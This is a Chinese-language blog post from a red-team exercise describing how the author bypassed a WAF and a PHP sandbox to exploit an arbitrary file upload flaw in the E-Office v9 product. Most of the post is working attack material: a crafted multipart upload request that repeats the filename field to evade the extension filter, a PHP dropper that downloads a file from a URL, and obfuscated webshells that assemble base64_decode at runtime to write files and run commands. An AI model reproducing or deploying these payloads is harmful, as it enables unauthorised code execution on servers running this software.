记一次PHP文件上传WAF+沙盒绕过

作者: print("") 分类: WEB安全 发布时间: 2022-07-25 12:08

打了一场护网遇到了好几个这样的环境,在这里记录一下绕过过程。【如下的为本地伪造环境】

目标系统E-Office v9   存在任意文件上传漏洞

首先需要绕过的是php的文件后缀

如下:

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 192.168.1.70
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 2108
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4

--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="file"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="2.
p
h
p
Content-Type: image/jpeg

2222

--e64bdf16c554bbc109cecef6451c26a4--

成功绕过了PHP后缀名的拦截。然后现在需要绕过内容的过滤了。首先是发现他并不支持<?  这种段标签的方式  

虽然上传成功但是呢。没办法执行。

然后还拦截一些常用的一些函数之类的。尝试进行绕过

但是!!!!!只要有;号就进行拦截。

<?php 
file_put_contents   
('1.php'  ,    file_get_contents          
(                  ' http://127.0.0.1/png.txt'  )        
)
;

然后尝试了很多方式进行这个分号绕过。然后发现。  这样子就不拦截。

<?php 
12321312
file_put_contents   
('1.php'  ,    file_get_contents          
(                  ' http://127.0.0.1/png.txt'  )        
)
;

最终确定为他是一个沙盒。就是PHP 内容能被php 语法支持的情况下就拦截。语法不支持的情况下就放行。那么绕过思路就有了。他默认返回的是

X-Powered-By: PHP/7.4.28

那么是否可以通过PHP7.4 的特性来进行让他沙盒报错呢。从而达到绕过的效果。如下:

然后就是写木马了。然后发现使用file_get_contents  远程下载文件为空。在想是不是不出网。使用另外一种方式。

<?php 

array_map(fn (User $user) => $user->id, $users);
$a=str_replace('hhh','bas', $_GET[1]);

file_put_contents   ($a($_GET[3])  ,      $a ( $a (            $_POST[a]         ) ) )        

;

使用方式为:?1=hhhe64_decode&3=dHR0LnBocA==&a=马子内容双层base64

使用base64进行写文件、但是发现写了很多个木马都连接不上。尝试写了一个cmd 的木马。

<?php
array_map(fn (User $user) => $user->id, $users);
$b=str_replace('ccc','bas', $_GET[2]);
$b($b($_GET[1]))($b($_GET[3]));

发现执行whoami ipconfig 都会卡30S以上,最终会执行成功。但是执行其他的就会直接被拦截死。最终通过黑加白的方式进行上线的。

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注